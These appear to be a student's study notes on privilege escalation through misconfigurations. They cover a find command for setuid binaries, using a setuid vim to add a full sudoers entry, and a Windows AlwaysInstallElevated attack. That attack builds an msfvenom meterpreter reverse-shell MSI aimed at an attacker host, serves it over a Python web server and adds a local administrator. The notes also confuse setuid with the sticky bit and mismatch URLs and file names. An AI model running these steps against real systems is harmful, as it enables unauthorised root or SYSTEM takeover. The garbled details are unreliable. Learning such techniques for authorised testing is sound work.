**Common Config Issues**

**When classic privilege escalation methods don’t work, we try to use config issues**

* Services running as root or admin
* Misconfigs in those services

Best way to get a starting point on these Misconfigs is to just google the privilege escalation techniques or common Misconfigs in that particular service

**Sticky bits**

Allows you to execute a binary as root

* Passwd
* Sudo

See which sudo binaries exist on the machine

* Find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -p {} \; 2>/dev/null
* #-perm -4000 is stickybit and -perm -2000 is the groups
* ‘Permissions denied’ kicked to /dev/null
* In terms of wrx, s stands for stickybit

Text

Description automatically generated

Vi shows up as a service we have access to that also has a stickybit (sudo permissions)

Cant spawn a shell because it’ll spawn as the guest user (current user)

Can abuse the fact that vi is a text editor and edit a sudo file

* /usr/bin/vim.gtk /etc/sudoers
  + #Path for vi sudoers
* Then add current user as a sudoer
  + Admin ALL=(ALL:ALL) ALL
  + #Same permissions as root usr
* Then you can sudo as root and launch a prompt
  + Sudo -u root /bin/bash

Windows

Registry editor 🡪 AlwaysInstalElevated

* Allows users to install MSI binaries and execute those binaries as ‘system’
* Build shell and place into exploit.msi as an executable
  + Msfvenom -p windows/meterpreter/reverse\_tcp lhost=<addr> lport=<4444> -f msi > explot.msi
* Python -m SimpleHTTPserver 80
  + #Creates simple python http server on port 80
* The exploit file can be grabbed from the target by accessing the shell in a browser e.g. https://192.168.0.4/exploit.exe
  + Then download on to target and run
  + Root shell is activated
* Net localgroup administrators admin2 /add
  + #Adds user to local admin group

**HW – do further research on typical configs and misconfigs and make a list of where to look**